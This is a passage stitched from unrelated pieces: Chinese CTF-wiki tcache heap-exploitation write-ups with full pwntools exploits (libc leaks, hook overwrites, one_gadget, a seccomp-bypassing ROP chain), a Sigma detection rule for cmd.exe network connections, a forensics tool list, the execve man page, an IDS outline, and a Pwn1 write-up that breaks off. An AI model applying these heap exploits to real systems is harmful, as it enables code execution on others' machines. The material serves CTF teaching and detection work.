libc = ELF("./libc.so.6")
def menu(opt):
r.sendlineafter("Your choice: ",str(opt))
def alloc(size,data='a'):
menu(1)
r.sendlineafter("Size:",str(size))
r.sendafter("Data:",data)
def delete(idx):
menu(2)
r.sendlineafter("Index:",str(idx))
def exp():
alloc(0x500-0x8) # 0
alloc(0x30) # 1
alloc(0x40) # 2
alloc(0x50) # 3
alloc(0x60) # 4
alloc(0x500 - 0x8) # 5
alloc(0x70) # 6 gap to avoid top consolidation
delete(4)
alloc(0x68, 'A'*0x60 + '\x60\x06') # set the prev size
delete(2)
delete(0)
delete(5) # backward coeleacsing
alloc(0x500 - 0x9 + 0x34)
delete(4)
alloc(0xa8, '\x60\x07') # corrupt the fd
alloc(0x40, 'a')
alloc(0x3e, p64(0xfbad1800) + p64(0) * 3 + '\x00') # overwrite the file-structure
print(repr(r.recv(8)))
print("leak!!!!!!!!!")
info1 = r.recv(8)
print(repr(info1))
libc.address = u64(info1) - 0x3ed8b0
log.info("libc @ " + hex(libc.address))
alloc(0xa8, p64(libc.symbols['__free_hook']))
alloc(0x60, "A")
alloc(0x60, p64(libc.address + 0x4f322)) # one gadget with $rsp+0x40 = NULL
delete(0)
r.interactive()
if __name__=='__main__':
exp()
```
##### Challenge 2 小结
这个程序的利用过程是一个有用的技巧，这种通过文件结构体的方式来实现内存的读写的相关资料可以参考台湾 Angelboy 的博客。在 hctf2018 steak 中，也存在一个信息泄露的问题，大多数人采用了 copy puts_addr 到 `__free_hook` 指针里实现信息泄露，但实际上也可以通过修改文件结构体的字段来实现信息泄露。
#### Challenge 3 : 2014 HITCON stkof
##### 基本信息
参见[unlink HITCON stkof 简介](./unlink.md#2014 HITCON stkof)
##### libc 2.26 tcache 利用方法
本题可以溢出较长字节，因此可以覆盖 chunk 的 fd 指针，在 libc 2.26 之后的 tcache 机制中，未对 fd 指针指向的 chunk 进行 size 检查，从而可以将 fd 指针覆盖任意地址。在 free 该被溢出 chunk 并且两次 malloc 后可以实现任意地址修改：
```python
from pwn import *
from GdbWrapper import GdbWrapper
from one_gadget import generate_one_gadget
context.log_level = "info"
context.endian = "little"
context.word_size = 64
context.os = "linux"
context.arch = "amd64"
context.terminal = ["deepin-terminal", "-x", "zsh", "-c"]
def Alloc(io, size):
io.sendline("1")
io.sendline(str(size))
io.readline()
io.readline()
def Edit(io, index, length, buf):
io.sendline("2")
io.sendline(str(index))
io.sendline(str(length))
io.send(buf)
io.readline()
def Free(io, index):
io.sendline("3")
io.sendline(str(index))
try:
tmp = io.readline(timeout = 3)
except Exception:
io.interactive()
print tmp
if "OK" not in tmp and "FAIL" not in tmp:
return tmp
def main(binary, poc):
# test env
bss_ptrlist = None
free_index = None
free_try = 2
elf = ELF(binary)
libc_real = elf.libc.path[: elf.libc.path.rfind('/') + 1]
assert elf.arch == "amd64" and (os.path.exists(libc_real + "libc-2.27.so") or os.path.exists(libc_real + "libc-2.26.so"))
while bss_ptrlist == None:
# find bss ptr
io = process(binary)
gdbwrapper = GdbWrapper(io.pid)
# gdb.attach(io)
Alloc(io, 0x400)
Edit(io, 1, 0x400, "a" * 0x400)
Alloc(io, 0x400)
Edit(io, 2, 0x400, "b" * 0x400)
Alloc(io, 0x400)
Edit(io, 3, 0x400, "c" * 0x400)
Alloc(io, 0x400)
Edit(io, 4, 0x400, "d" * 0x400)
Alloc(io, 0x400)
Edit(io, 5, 0x400, "e" * 0x400)
heap = gdbwrapper.heap()
heap = [(k, heap[k]) for k in sorted(heap.keys())]
ptr_addr = []
index = 1
while True:
for chunk in heap:
address = chunk[0]
info = chunk[1]
ptr_addr_length = len(ptr_addr)
if (info["mchunk_size"] & 0xfffffffffffffffe) == 0x410:
for x in gdbwrapper.search("bytes", str(chr(ord('a') + index - 1)) * 0x400):
if int(address, 16) + 0x10 == x["ADDR"]:
tmp = gdbwrapper.search("qword", x["ADDR"])
for y in tmp:
if binary.split("/")[-1] in y["PATH"]:
ptr_addr.append(y["ADDR"])
break
if (len(ptr_addr) != ptr_addr_length):
break
if len(ptr_addr) != ptr_addr_length:
break
index += 1
if (index == 5):
break
bss_ptrlist = sorted(ptr_addr)[0]
io.close()
while free_index == None:
io = process(binary)
Alloc(io, 0x400)
Alloc(io, 0x400)
Alloc(io, 0x400)
Free(io, free_try)
Edit(io, free_try - 1, 0x400 + 0x18, "a" * 0x400 + p64(0) + p64(1041) + p64(0x12345678))
try:
Alloc(io, 0x400)
Alloc(io, 0x400)
except Exception:
free_index = free_try
free_try += 1
io.close()
# arbitrary write
libc = ELF(binary).libc
one_gadget_offsets = generate_one_gadget(libc.path)
for one_gadget_offset in one_gadget_offsets:
io = process(binary)
libc = elf.libc
gdbwrapper = GdbWrapper(io.pid)
Alloc(io, 0x400)
Alloc(io, 0x400)
Alloc(io, 0x400)
Free(io, free_index)
Edit(io, free_index - 1, 0x400 + 0x18, "a" * 0x400 + p64(0) + p64(1041) + p64(bss_ptrlist - 0x08))
Alloc(io, 0x400)
Alloc(io, 0x400)
###leak libc
Edit(io, 5, 0x18, p64(elf.got["free"]) * 2 + p64(elf.got["malloc"]))
Edit(io, 0, 0x08, p64(elf.plt["puts"]))
leaked = u64(Free(io, 2)[:-1].ljust(8, "\x00"))
libc_base = leaked - libc.symbols["malloc"]
system_addr = libc_base + libc.symbols["system"]
one_gadget_addr = libc_base + one_gadget_offset
Edit(io, 1, 0x08, p64(one_gadget_addr))
Free(io, 1)
try:
io.sendline("id")
log.info(io.readline(timeout=3))
except Exception, e:
io.close()
continue
io.interactive()
if __name__ == "__main__":
binary = "./bins/a679df07a8f3a8d590febad45336d031-stkof"
main(binary, "")
```
#### Challenge 4 : HITCON 2019 one_punch_man
##### 基本信息
开启了常见保护，题目环境为 glibc 2.29 ，使用 seccomp 开启了沙箱保护，只有白名单上的系统调用可以使用。
```bash
╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master›
╰─$ checksec ./one_punch
[*] '/home/wz/Desktop/CTF/xz_files/hitcon2019_one_punch_man/one_punch'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master*›
╰─$ seccomp-tools dump ./one_punch
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
```
##### 基本功能
Add 函数可以分配 `[0x80,0x400]` 大小的堆块，分配的函数为 `calloc` ，输入数据首先存储到栈上，之后再使用 `strncpy` 拷贝到 `bss` 上的数组里。
Delete 函数 `free` 堆块之后未清空，造成 `double free` 和 `UAF`
```c
void __fastcall Delete(__int64 a1, __int64 a2)
{
unsigned int v2; // [rsp+Ch] [rbp-4h]
MyPuts("idx: ");
v2 = read_int();
if ( v2 > 2 )
error("invalid", a2);
free(*((void **)&unk_4040 + 2 * v2));
}
```
后门函数可以调用 `malloc` 分配 `0x217` 大小的堆块，但是要要满足 `*(_BYTE *)(qword_4030 + 0x20) > 6` ，我们在 `main` 函数里可以看到这里被初始化为 `heap_base+0x10` ，对于 glibc 2.29，这个位置对应存储的是 `tcache_perthread_struct` 的 `0x220` 大小的 `tcache_bin` 的数量，正常来说，如果我们想调用后门的功能，要让这个 `count` 为 7 ，然而这也就意味着 `0x217` 再分配和释放都同 `glibc 2.23` 一样，我们无法通过 `UAF` 改 chunk 的 `fd` 来达到任意地址写的目的，因此我们要通过别的方式修改这个值。
```c
__int64 __fastcall Magic(__int64 a1, __int64 a2)
{
void *buf; // [rsp+8h] [rbp-8h]
if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )
error("gg", a2);
buf = malloc(0x217uLL);
if ( !buf )
error("err", a2);
if ( read(0, buf, 0x217uLL) <= 0 )
error("io", buf);
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}
```
Edit 和 Show 函数分别可以对堆块内容进行编辑和输出。
##### 利用思路
由于 glibc 2.29 中新增了对于 `unsorted bin` 链表完整性检查，这使得 `unsorted bin attack` 完全失效，我们的目标是往一个地址中写入 `large value` ，这种情况下就可以选择 `tcache stashing unlink attack`。
首先我们可以通过UAF来泄露 `heap` 和 `libc` 地址。具体方式是分配并释放多个chunk使其进入 `tcache` ，通过 `Show` 函数可以输出 `tcache bin` 的 `fd` 值来泄露堆地址。释放某个 `small bin size` 范围内的chunk七个，在第八次释放时会先把释放的堆块放入 `unsorted bin` 。通过 `Show` 函数可以泄露出 libc 地址。
我们首先通过 `UAF` 将 `__malloc_hook` 链入 `tcache` 备用。然后分配并释放六次 `0x100` 大小的chunk进入 `tcache` 。通过 `unsorted bin` 切割得到 `last remainer` 的方式得到两个大小为 `0x100` 的chunk。再分配一个超过 0x100 的块使其进入 `small bin` 。按照释放顺序我们称之为 bin1 和 bin2 。修改 `bin2->bk` 为 `(heap_base+0x2f)-0x10` ，调用 `calloc(0xf0)` 触发 `small bin` 放入 `tcache` 的处理逻辑，由于 `tcache` 中有 6 个块，因此循环处理只会进行一次，这样也避免了 fake_chunk 因 bk 处无可写地址作为下一个块进行 unlink 时 `bck->fd=bin` 带来的内存访问错误。最终改掉 `heap_base+0x30` 的值绕过检查。
##### 利用步骤
下面在调用 calloc 前下断点，可以看到此时 `tcache[0x100]` 有 6 个堆块，small bin 的分配顺序为 `0x000055555555c460->0x55555555cc80->0x000055555555901f` ，在 `calloc(0xf0)` 调用后， `0x000055555555c460` 会被返回给用户， `0x55555555cc80` 被链入tcache，而由于没有多余位置，跳出循环， `0x000055555555901f` 不做处理。
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555555d9d0 (size : 0x1c630)
last_remainder: 0x55555555cc80 (size : 0x100)
unsortbin: 0x0
(0x030) smallbin[ 1]: 0x555555559ba0
(0x100) smallbin[14]: 0x55555555cc80 (doubly linked list corruption 0x55555555cc80 != 0x100 and 0x55555555cc80 is broken)
(0x100) tcache_entry[14](6): 0x55555555a3f0 --> 0x55555555a2f0 --> 0x55555555a1f0 --> 0x55555555a0f0 --> 0x555555559ff0 --> 0x555555559ab0
(0x130) tcache_entry[17](7): 0x555555559980 --> 0x555555559850 --> 0x555555559720 --> 0x5555555595f0 --> 0x5555555594c0 --> 0x555555559390 --> 0x555555559260
(0x220) tcache_entry[32](1): 0x55555555d7c0 --> 0x7ffff7fb4c30
(0x410) tcache_entry[63](7): 0x55555555bd50 --> 0x55555555b940 --> 0x55555555b530 --> 0x55555555b120 --> 0x55555555ad10 --> 0x55555555a900 --> 0x55555555a4f0
gdb-peda$ x/4gx 0x55555555cc80
0x55555555cc80: 0x0000000000000000 0x0000000000000101
0x55555555cc90: 0x000055555555c460 0x000055555555901f
gdb-peda$ x/4gx 0x000055555555c460
0x55555555c460: 0x0000000000000000 0x0000000000000101
0x55555555c470: 0x00007ffff7fb4d90 0x000055555555cc80
gdb-peda$ x/4gx 0x00007ffff7fb4d90
0x7ffff7fb4d90 <main_arena+336>: 0x00007ffff7fb4d80 0x00007ffff7fb4d80
0x7ffff7fb4da0 <main_arena+352>: 0x000055555555cc80 0x000055555555c460
```
calloc 分配完成之后的结果和我们预期一致， `0x000055555555901f` 作为 `fake_chunk` 其 `fd` 也被改写为了 `libc` 地址
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555555d9d0 (size : 0x1c630)
last_remainder: 0x55555555cc80 (size : 0x100)
unsortbin: 0x0
(0x030) smallbin[ 1]: 0x555555559ba0
(0x100) smallbin[14]: 0x55555555cc80 (doubly linked list corruption 0x55555555cc80 != 0x700 and 0x55555555cc80 is broken)
(0x100) tcache_entry[14](7): 0x55555555cc90 --> 0x55555555a3f0 --> 0x55555555a2f0 --> 0x55555555a1f0 --> 0x55555555a0f0 --> 0x555555559ff0 --> 0x555555559ab0
(0x130) tcache_entry[17](7): 0x555555559980 --> 0x555555559850 --> 0x555555559720 --> 0x5555555595f0 --> 0x5555555594c0 --> 0x555555559390 --> 0x555555559260
(0x210) tcache_entry[31](144): 0
(0x220) tcache_entry[32](77): 0x55555555d7c0 --> 0x7ffff7fb4c30
(0x230) tcache_entry[33](251): 0
(0x240) tcache_entry[34](247): 0
(0x250) tcache_entry[35](255): 0
(0x260) tcache_entry[36](127): 0
(0x410) tcache_entry[63](7): 0x55555555bd50 --> 0x55555555b940 --> 0x55555555b530 --> 0x55555555b120 --> 0x55555555ad10 --> 0x55555555a900 --> 0x55555555a4f0
gdb-peda$ x/4gx 0x000055555555901f+0x10
0x55555555902f: 0x00007ffff7fb4d90 0x0000000000000000
0x55555555903f: 0x0000000000000000 0x0000000000000000
```
由于沙箱保护，我们无法执行 `execve` 函数调用，只能通过 `open/read/write` 来读取 flag 。我们选择通过调用后门函数修改 `__malloc_hook` 为 `gadget(mov eax, esi ; add rsp, 0x48 ; ret)` ，以便 add 的时候将 `rsp` 改到可控的输入区域调用 `rop chains` 来 `orw` 读取 `flag` 。
完整 exp 如下：
```python
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./one_punch')
def Add(idx,name):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)
def Edit(idx,name):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)
def Show(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil("idx: ")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil("idx: ")
p.sendline(str(idx))
def BackDoor(buf):
p.recvuntil('> ')
p.sendline('50056')
sleep(0.1)
p.send(buf)
def exp():
#leak heap
for i in range(7):
Add(0,'a'*0x120)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
log.success("[+]heap base => "+ hex(heap_base))
#leak libc
Add(0,'a'*0x120)
Add(1,'a'*0x400)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000)
log.success("[+]libc base => " + hex(libc_base))
#
for i in range(6):
Add(0,'a'*0xf0)
Delete(0)
for i in range(7):
Add(0,'a'*0x400)
Delete(0)
Add(0,'a'*0x400)
Add(1,'a'*0x400)
Add(1,'a'*0x400)
Add(2,'a'*0x400)
Delete(0)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
#agagin
Delete(1)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
Edit(2,'./flag'.ljust(8,'\x00'))
Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))
#trigger
Add(0,'a'*0x217)
Delete(0)
Edit(0,p64(libc_base+libc.sym['__malloc_hook']))
#gdb.attach(p,'b calloc')
Add(0,'a'*0xf0)
BackDoor('a')
#mov eax, esi ; add rsp, 0x48 ; ret
#magic_gadget = libc_base + libc.sym['setcontext']+53
# add rsp, 0x48 ; ret
magic_gadget = libc_base + 0x000000000008cfd6
payload = p64(magic_gadget)
BackDoor(payload)
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0
rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
Add(0,rops)
p.interactive('$ xmzyshypnc')
exp()
```
### 0x06 建议习题：
* 2018 HITCON children_tcache
* 2018 BCTF houseOfAtum
* 2019 HTICON Lazy House
* 2020 XCTF no-Cov twochunk
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# T1105-win-命令提示符网络链接
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻陷的环境中。可以通过命令控制通道从外部攻击者控制的系统中复制文件，以便将工具带入被攻陷的网络环境中，或通过与另一个工具（如FTP）的替代协议复制文件。文件也可以在Mac和Linux上使用scp、rsync和sftp等本机工具进行复制。
## 测试案例
识别cmd.exe建立网络连接。攻击者可能滥用cmd.exe从远程URL下载或执行恶意软件。
参考文章：[渗透技巧——通过cmd上传文件的N种方法](https://www.secpulse.com/archives/44450.html)
## 检测日志
windows安全日志
## 测试复现
暂无
## 测试留痕
暂无，仅提供检测规则相关的日志示例
windows server 2016/win10
```yml
The Windows Filtering Platform has allowed a connection.
Application Information:
Process ID: 1752
Application Name: \device\harddiskvolume1\windows\system32\dns.exe
Network Information:
Direction: Inbound
Source Address: 10.45.45.103
Source Port: 53
Destination Address: 10.45.45.103
Destination Port: 50146
Protocol: 17
Filter Information:
Filter Run-Time ID: 5
Layer Name: Receive/Accept
Layer Run-Time ID: 44
```
## 检测规则/思路
### sigma规则
```yml
title: 检测命令提示符网络链接
description: 通过windows日志命令检测提示符网络链接
tags: T1105
status: experimental
references:
- https://www.elastic.co/guide/en/siem/guide/current/command-prompt-network-connection.html#command-prompt-network-connection
logsource:
product: windows
service: security
detection:
selection1:
EventID: 5156
Process.name: 'cmd.exe' #Application Name
selection2:
Destination Address:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
condition: selection1 and not selection2
level: low
```
### Elastic rule query
```yml
process.name:cmd.exe and event.action:"Network connection detected
(rule: NetworkConnect)" and not destination.ip:(10.0.0.0/8 or
172.16.0.0/12 or 192.168.0.0/16)
```
### 建议
低版本操作系统无法记录命令行参数及子父进程，建议通过Sysmon进行监控。
## 参考推荐
MITRE-ATT&CK-T1105
<https://attack.mitre.org/techniques/T1105>
检测命令提示符网络链接
<https://www.elastic.co/guide/en/siem/guide/current/command-prompt-network-connection.html#command-prompt-network-connection>
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# 磁盘内存分析
## 常用工具
- EasyRecovery
- MedAnalyze
- FTK
- [Elcomsoft Forensic Disk Decryptor](https://ctf-wiki.github.io/ctf-tools/misc/#_6)
- Volatility
## 磁盘
常见的磁盘分区格式有以下几种
- Windows: FAT12 -> FAT16 -> FAT32 -> NTFS
- Linux: EXT2 -> EXT3 -> EXT4
- FAT 主磁盘结构
- 删除文件：目录表中文件名第一字节 `e5`。
## VMDK
VMDK 文件本质上是物理硬盘的虚拟版，也会存在跟物理硬盘的分区和扇区中类似的填充区域，我们可以利用这些填充区域来把我们需要隐藏的数据隐藏到里面去，这样可以避免隐藏的文件增加了 VMDK 文件的大小（如直接附加到文件后端），也可以避免由于 VMDK 文件大小的改变所带来的可能导致的虚拟机错误。而且 VMDK 文件一般比较大，适合用于隐藏大文件。
## 内存
- 解析 Windows / Linux / Mac OS X 内存结构
- 分析进程，内存数据
- 根据题目提示寻找线索和思路，提取分析指定进程的特定内存数据
## 题目
- Jarvis OJ - MISC - 取证 2
## 参考
- [数据隐藏技术](http://wooyun.jozxing.cc/static/drops/tips-12614.html)
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.\" Copyright (c) 1992 Drew Eckhardt (drew@cs.colorado.edu), March 28, 1992
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" Modified by Michael Haardt <u31b3hs@pool.informatik.rwth-aachen.de>
.\" Modified Wed Jul 21 22:47:01 1993 by Rik Faith <faith@cs.unc.edu>
.\" Modified 21 Aug 1994 by Michael Chastain <mec@shell.portal.com>:
.\" Fixed typoes.
.\" Modified Fri Jan 31 16:24:28 1997 by Eric S. Raymond <esr@thyrsus.com>
.\"
.TH EXECVE 2 "3 September 1997" "Linux 2.0.30" "Linux Programmer's Manual"
.SH NAME
execve \- 执行程序
.SH "总览 (SYNOPSIS)"
.B #include <unistd.h>
.sp
.BI "int execve (const char *" filename ", char *const " argv
.BI "[], char *const " envp []);
.SH "描述 (DESCRIPTION)"
\fBexecve()\fP 执行 \fIfilename\fP 指出的 程序. \fIfilename\fP 必须 是
二进制可执行文件, 或者 以 "\fB#! \fIinterpreter \fR[arg]" 行 开始的 脚本文件.
后者的 interpreter 必须是 某个 可执行文件 的 有效 路径, 这个 可执行文件 自身
不能是 脚本程序, 调用 形式 是 "\fBinterpreter\fR [arg] \fIfilename\fR".
\fBexecve()\fP 调用 成功 后 不会 返回, 其 进程 的 正文(text), 数据(data),
bss 和 堆栈(stack) 段 被 调入程序 覆盖. 调入程序 继承了 调用程序 的 PID 和
所有 打开的 文件描述符, 他们 不会 因为 exec 过程 而 关闭. 父进程 的 未决 信号
被 清除. 所有 被 调用进程 设置过 的 信号 重置为 缺省行为.
如果 当前程序 正在 被 ptrace 跟踪, 成功的 调用 \fBexecve()\fP 后 将 收到
一个 \fBSIGTRAP\fP 信号.
如果 可执行文件 是 动态连接 的 a.out 二进制程序, 含有 共享库 的 stub,
开始 执行 程序 的 时候, Linux 动态 连接器(linker)
.IR ld.so (8)
把 所需的 共享库 调入 核心, 并且 和 程序 相连.
如果 可执行文件 是 动态连接 的 ELF 二进制程序, 定义在 PT_INTERP 字段 的
解释器(interpreter) 调入 所需的 共享库.
连接 libc5 的 程序 的 典型 解释器 是 \fI/lib/ld-linux.so.1\fR,
而 连接 GNU libc2 (libc6) 的 程序 则为 \fI/lib/ld-linux.so.2\fR.
.SH "返回值 (RETURN VALUE)"
调用成功 的 时候 \fBexecve()\fP 不会 返回, 调用失败 时 返回 \-1, 并 设置
.I errno
为 相应的 值.
.SH "错误 (ERRORS)"
.TP 0.8i
.B EACCES
文件 或 脚本解释器 不正确.
.TP
.B EACCES
没有 文件 或 脚本解释器 的 执行 权限.
.TP
.B EACCES
文件系统 挂载(mount) 为
.IR noexec .
.TP
.B EPERM
文件系统 挂载为
.IR nosuid ,
使用者 不是 超级用户, 以及 文件 设置了 SUID 或 SGID 位.
.TP
.B EPERM
进程 正 被跟踪, 使用者 不是 超级用户, 以及 文件 设置了 SUID 或 SGID 位.
.TP
.B E2BIG
参数列表 过长.
.TP
.B ENOEXEC
可执行文件 的 文件格式 无法 识别, 误用在 不同的 体系结构, 或者 其他 格式
错误 导致 程序 无法 执行.
.TP
.B EFAULT
.I filename
指针 超出 可访问 的 地址空间.
.TP
.B ENAMETOOLONG
.I filename
太长.
.TP
.B ENOENT
.I filename ,
脚本解释器, 或 ELF 解释器 不存在.
.TP
.B ENOMEM
内核 空间 不足.
.TP
.B ENOTDIR
在
.I filename ,
脚本解释器 或 ELF 解释器 的 前缀 路径 中, 某些 成员 不是 目录.
.TP
.B EACCES
在
.I filename
或 脚本解释器 的 前缀 路径 中, 对 某些 目录 没有 访问许可.
.TP
.B ELOOP
解析
.I filename ,
脚本解释器 或 ELF 解释器 时 遇到 过多的 符号连接.
.TP
.B ETXTBUSY
可执行文件 被 一个 或 多个 进程 以 写方式 打开.
.TP
.B EIO
发生 I/O 错误.
.TP
.B ENFILE
达到 系统 定义的 同时打开文件数 限制.
.TP
.B EMFILE
进程 打开了 最大数量 的 文件.
.TP
.B EINVAL
该 ELF 可执行文件 拥有 多个 PT_INTERP 字段 (就是说, 试图 定义 多个 解释器).
.TP
.B EISDIR
ELF 解释器 是 目录.
.TP
.B ELIBBAD
无法 识别 ELF 解释器 的 格式.
.SH "CONFORMING TO"
SVr4, SVID, X/OPEN, BSD 4.3. POSIX 没有 对 #! 行为 的 文档, 但有 其他的
兼容 形式. SVr4 记录了 额外的 错误情况 EAGAIN, EINTR, ELIBACC, ENOLINK,
EMULTIHOP; POSIX 没有 关于 ETXTBSY, EPERM, EFAULT, ELOOP, EIO, ENFILE,
EMFILE, EINVAL, EISDIR 或 ELIBBAD 错误情况 的 文档.
.SH "注意 (NOTES)"
SUID and SGID processes can not be \fBptrace()\fPd SUID or SGID.
在 #! 格式的 shell 可执行脚本 中, 第一行 的 长度 不得 超过 127 字节.
Linux 忽略 脚本程序 的 SUID 和 SGID 位.
.SH "另见 (SEE ALSO)"
.BR ld.so "(8),"
.BR execl "(3),"
.BR fork (2)
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2003/05/13
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
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# 入侵检测&防护系统概述
## 1. 概念
## 2. 标准模型与架构
## 3. 分类
## 4. 功能与技术
### 4.1 入侵分析技术
### 4.2 入侵响应技术
## 5. 性能与指标体系
## 6. 选用依据
## 7. 部署方式
## 8. 不足之处
## 9. 发展趋势
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# Pwn1
Pwn, 227 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn1# ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
test
I don't know that! Auuuuuuuugh!
```
So we need to answer the question in order to proceed.
The first place to search for an answer is `strings`:
```console
root@kali:/media/sf_CTFs/tamu/Pwn1# strings pwn1
[...]
Right. Off you go.
flag.txt
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
Sir Lancelot of Camelot
I don't know that! Auuuuuuuugh!
What... is your quest?
To seek the Holy Grail.
What... is my secret?
[...]
```
`Sir Lancelot of Camelot` seems like a reasonable response.
```console
root@kali:/media/sf_CTFs/tamu/Pwn1# echo "Sir Lancelot of Camelot" | ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
I don't know that! Auuuuuuuugh!
```
So we moved past the first question, new we are requested to provide a quest. `To seek the Holy Grail.` makes most sense, given the strings in the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn1# { echo "Sir Lancelot of Camelot"; echo "To seek the Holy Grail."; } | ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
I don't know that! Auuuuuuuugh!
```
So far, so good. But what is the secret? Looks like we'll have to open the binary with a disassembler after all:
```
root@kali:/media/sf_CTFs/tamu/Pwn1# r2 pwn1
-- R2 loves everyone, even Java coders, but less than others
[0x000005c0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
